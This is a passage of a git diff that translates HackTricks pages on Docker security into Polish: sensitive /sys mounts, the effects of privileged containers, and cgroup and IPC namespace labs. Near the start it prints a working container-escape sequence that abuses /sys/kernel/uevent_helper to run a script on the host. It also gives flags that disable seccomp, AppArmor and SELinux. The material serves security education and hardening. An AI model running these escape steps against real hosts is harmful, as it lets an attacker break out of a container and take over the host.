nazw montowania procesu. +- Ujawnia lokalizację `rootfs` kontenera lub obrazu. -### `/sys` Vulnerabilities +### Luki w `/sys` #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- Używane do obsługi `uevent` urządzeń jądra. +- Zapis do `/sys/kernel/uevent_helper` może wykonać dowolne skrypty po wyzwoleniu `uevent`. +- **Przykład eksploatacji**: %%%bash - #### Creates a payload +#### Tworzy ładunek - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### Ustawia uevent_helper na złośliwego pomocnika - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### Wyzwala uevent - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### Odczytuje wynik - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- Kontroluje ustawienia temperatury, potencjalnie powodując ataki DoS lub fizyczne uszkodzenia. #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- Ujawnia adresy jądra, potencjalnie kompromitując KASLR. #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- Zawiera interfejs `securityfs`, umożliwiający konfigurację modułów bezpieczeństwa Linux, takich jak AppArmor. +- Dostęp może umożliwić kontenerowi wyłączenie swojego systemu MAC. -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM. +- Błędna konfiguracja lub eksploatacja może prowadzić do zablokowanych laptopów lub nieuruchamialnych maszyn hosta. #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs` oferuje interfejs debugowania "bez zasad" do jądra. +- Historia problemów z bezpieczeństwem z powodu swojej nieograniczonej natury. -### References +### Odniesienia - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) -- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) -- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) - -
- -{% embed url="https://websec.nl/" %} +- [Zrozumienie i wzmacnianie kontenerów Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) +- [Wykorzystywanie uprzywilejowanych i nieuprzywilejowanych kontenerów Linux](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..ec90a4140 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## Co wpływa -When you run a container as privileged these are the protections you are disabling: +Kiedy uruchamiasz kontener jako uprzywilejowany, wyłączasz następujące zabezpieczenia: -### Mount /dev +### Montowanie /dev -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +W uprzywilejowanym kontenerze wszystkie **urządzenia są dostępne w `/dev/`**. Dlatego możesz **uciec** przez **zamontowanie** dysku hosta. {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Wewnątrz kontenera z uprawnieniami"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### Systemy plików jądra tylko do odczytu -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +Systemy plików jądra zapewniają mechanizm, który pozwala procesowi modyfikować zachowanie jądra. Jednak w przypadku procesów kontenerowych chcemy zapobiec ich wprowadzaniu jakichkolwiek zmian w jądrze. Dlatego montujemy systemy plików jądra jako **tylko do odczytu** w obrębie kontenera, zapewniając, że procesy kontenera nie mogą modyfikować jądra. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="Wewnątrz domyślnego kontenera"}} ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Wewnątrz kontenera z uprawnieniami"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### Masking over kernel file systems +### Maskowanie systemów plików jądra -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +System plików **/proc** jest selektywnie zapisywalny, ale dla bezpieczeństwa niektóre części są chronione przed dostępem do zapisu i odczytu poprzez nałożenie na nie **tmpfs**, co zapewnia, że procesy kontenera nie mogą uzyskać dostępu do wrażliwych obszarów. -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs** to system plików, który przechowuje wszystkie pliki w pamięci wirtualnej. tmpfs nie tworzy żadnych plików na twoim dysku twardym. Więc jeśli odmontujesz system plików tmpfs, wszystkie pliki w nim zawarte zostaną na zawsze utracone. {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Wewnątrz kontenera z uprawnieniami"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### Możliwości Linuxa -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +Silniki kontenerów uruchamiają kontenery z **ograniczoną liczbą możliwości**, aby kontrolować, co dzieje się wewnątrz kontenera domyślnie. **Privileged** mają **wszystkie** **możliwości** dostępne. Aby dowiedzieć się więcej o możliwościach, przeczytaj: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="Wewnątrz domyślnego kontenera"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Wewnątrz kontenera z uprawnieniami"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +Możesz manipulować możliwościami dostępnymi dla kontenera bez uruchamiania w trybie `--privileged`, używając flag `--cap-add` i `--cap-drop`. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** jest przydatny do **ograniczenia** **syscalli**, które kontener może wywołać. Domyślny profil seccomp jest włączony domyślnie podczas uruchamiania kontenerów docker, ale w trybie uprzywilejowanym jest wyłączony. Dowiedz się więcej o Seccomp tutaj: {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Wewnątrz kontenera z uprawnieniami"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +Również zauważ, że gdy Docker (lub inne CRI) są używane w klastrze **Kubernetes**, **filtr seccomp jest domyślnie wyłączony**. ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor** to ulepszenie jądra, które ogranicza **kontenery** do **ograniczonego** zestawu **zasobów** z **profilami per-program**. Gdy uruchamiasz z flagą `--privileged`, ta ochrona jest wyłączona. {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +Uruchomienie kontenera z flagą `--privileged` wyłącza **etykiety SELinux**, powodując, że dziedziczy on etykietę silnika kontenerowego, zazwyczaj `unconfined`, co przyznaje pełny dostęp podobny do silnika kontenerowego. W trybie bezrootowym używa `container_runtime_t`, podczas gdy w trybie rootowym stosuje `spc_t`. {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## Co nie ma wpływu -## What Doesn't Affect +### Przestrzenie nazw -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +Przestrzenie nazw **NIE są dotknięte** flagą `--privileged`. Mimo że nie mają włączonych ograniczeń bezpieczeństwa, **nie widzą wszystkich procesów w systemie ani sieci hosta, na przykład**. Użytkownicy mogą wyłączyć poszczególne przestrzenie nazw, używając flag silnika kontenerów **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**. {{#tabs}} -{{#tab name="Inside default privileged container"}} - +{{#tab name="Wewnątrz domyślnego uprzywilejowanego kontenera"}} ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} {{#tab name="Inside --pid=host Container"}} - ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### Przestrzeń użytkownika -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. +**Domyślnie silniki kontenerów nie wykorzystują przestrzeni użytkownika, z wyjątkiem kontenerów bezrootowych**, które wymagają ich do montowania systemu plików i używania wielu UID. Przestrzenie użytkownika, niezbędne dla kontenerów bezrootowych, nie mogą być wyłączane i znacznie zwiększają bezpieczeństwo poprzez ograniczenie uprawnień. -## References +## Odniesienia - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..27d9d81e0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# Namespaces +# Przestrzenie nazw {{#include ../../../../banners/hacktricks-training.md}} -### **PID namespace** +### **Przestrzeń nazw PID** {{#ref}} pid-namespace.md {{#endref}} -### **Mount namespace** +### **Przestrzeń nazw montowania** {{#ref}} mount-namespace.md {{#endref}} -### **Network namespace** +### **Przestrzeń nazw sieci** {{#ref}} network-namespace.md {{#endref}} -### **IPC Namespace** +### **Przestrzeń nazw IPC** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS namespace** +### **Przestrzeń nazw UTS** {{#ref}} uts-namespace.md {{#endref}} -### Time Namespace +### Przestrzeń nazw czasu {{#ref}} time-namespace.md {{#endref}} -### User namespace +### Przestrzeń nazw użytkownika {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..631da96e6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -2,88 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +Cgroup namespace to funkcja jądra Linux, która zapewnia **izolację hierarchii cgroup dla procesów działających w obrębie namespace**. Cgroups, skrót od **control groups**, to funkcja jądra, która pozwala na organizowanie procesów w hierarchiczne grupy w celu zarządzania i egzekwowania **ograniczeń na zasoby systemowe** takie jak CPU, pamięć i I/O. -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +Chociaż cgroup namespaces nie są oddzielnym typem namespace, jak inne, o których rozmawialiśmy wcześniej (PID, mount, network itp.), są związane z koncepcją izolacji namespace. **Cgroup namespaces wirtualizują widok hierarchii cgroup**, tak że procesy działające w obrębie cgroup namespace mają inny widok hierarchii w porównaniu do procesów działających w hoście lub innych namespace. -### How it works: +### Jak to działa: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. Gdy tworzony jest nowy cgroup namespace, **zaczyna się od widoku hierarchii cgroup opartego na cgroup procesu tworzącego**. Oznacza to, że procesy działające w nowym cgroup namespace będą widziały tylko podzbiór całej hierarchii cgroup, ograniczony do poddrzewa cgroup zakorzenionego w cgroup procesu tworzącego. +2. Procesy w obrębie cgroup namespace **widzą swoją własną cgroup jako korzeń hierarchii**. Oznacza to, że z perspektywy procesów wewnątrz namespace, ich własna cgroup pojawia się jako korzeń, a one nie mogą widzieć ani uzyskiwać dostępu do cgroups poza swoim własnym poddrzewem. +3. Cgroup namespaces nie zapewniają bezpośrednio izolacji zasobów; **zapewniają tylko izolację widoku hierarchii cgroup**. **Kontrola i izolacja zasobów są nadal egzekwowane przez subsystemy cgroup** (np. cpu, pamięć itp.) same w sobie. -For more information about CGroups check: +Aby uzyskać więcej informacji na temat CGroups, sprawdź: {{#ref}} ../cgroups.md {{#endref}} -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych Namespace #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni nazw**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły i rozwiązanie są opisane poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni nazw; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni nazw staje się PID 1. Gdy ten proces kończy działanie, uruchamia czyszczenie przestrzeni nazw, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania procesów osieroconych. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni nazw. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni nazw prowadzi do wyczyszczenia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni nazw. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni nazw, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Sprawdź, w którym namespace znajduje się twój proces ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### Znajdź wszystkie przestrzenie nazw CGroup ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### Wejdź do przestrzeni nazw CGroup ```bash nsenter -C TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). +Możesz **wejść do innej przestrzeni nazw procesów tylko jeśli jesteś root**. I **nie możesz** **wejść** do innej przestrzeni nazw **bez deskryptora** wskazującego na nią (jak `/proc/self/ns/cgroup`). ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..568e75685 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -2,83 +2,72 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +Namespace IPC (Inter-Process Communication) to funkcja jądra Linux, która zapewnia **izolację** obiektów IPC System V, takich jak kolejki komunikatów, segmenty pamięci współdzielonej i semafory. Ta izolacja zapewnia, że procesy w **różnych namespace'ach IPC nie mogą bezpośrednio uzyskiwać dostępu do obiektów IPC innych procesów ani ich modyfikować**, co zapewnia dodatkową warstwę bezpieczeństwa i prywatności między grupami procesów. -### How it works: +### Jak to działa: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. Gdy nowy namespace IPC jest tworzony, zaczyna się od **całkowicie izolowanego zestawu obiektów IPC System V**. Oznacza to, że procesy działające w nowym namespace IPC nie mogą uzyskiwać dostępu ani ingerować w obiekty IPC w innych namespace'ach lub w systemie gospodarza domyślnie. +2. Obiekty IPC utworzone w ramach namespace są widoczne i **dostępne tylko dla procesów w tym namespace**. Każdy obiekt IPC jest identyfikowany przez unikalny klucz w swoim namespace. Chociaż klucz może być identyczny w różnych namespace'ach, same obiekty są izolowane i nie mogą być dostępne między namespace'ami. +3. Procesy mogą przemieszczać się między namespace'ami za pomocą wywołania systemowego `setns()` lub tworzyć nowe namespace'y za pomocą wywołań systemowych `unshare()` lub `clone()` z flagą `CLONE_NEWIPC`. Gdy proces przemieszcza się do nowego namespace'a lub tworzy jeden, zacznie używać obiektów IPC związanych z tym namespace'em. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych namespace'ów #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Poprzez zamontowanie nowej instancji systemu plików `/proc`, jeśli użyjesz parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (Process ID). Kluczowe szczegóły i rozwiązanie są opisane poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni staje się PID 1. Gdy ten proces kończy działanie, uruchamia czyszczenie przestrzeni, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania procesów osieroconych. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzielaniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, 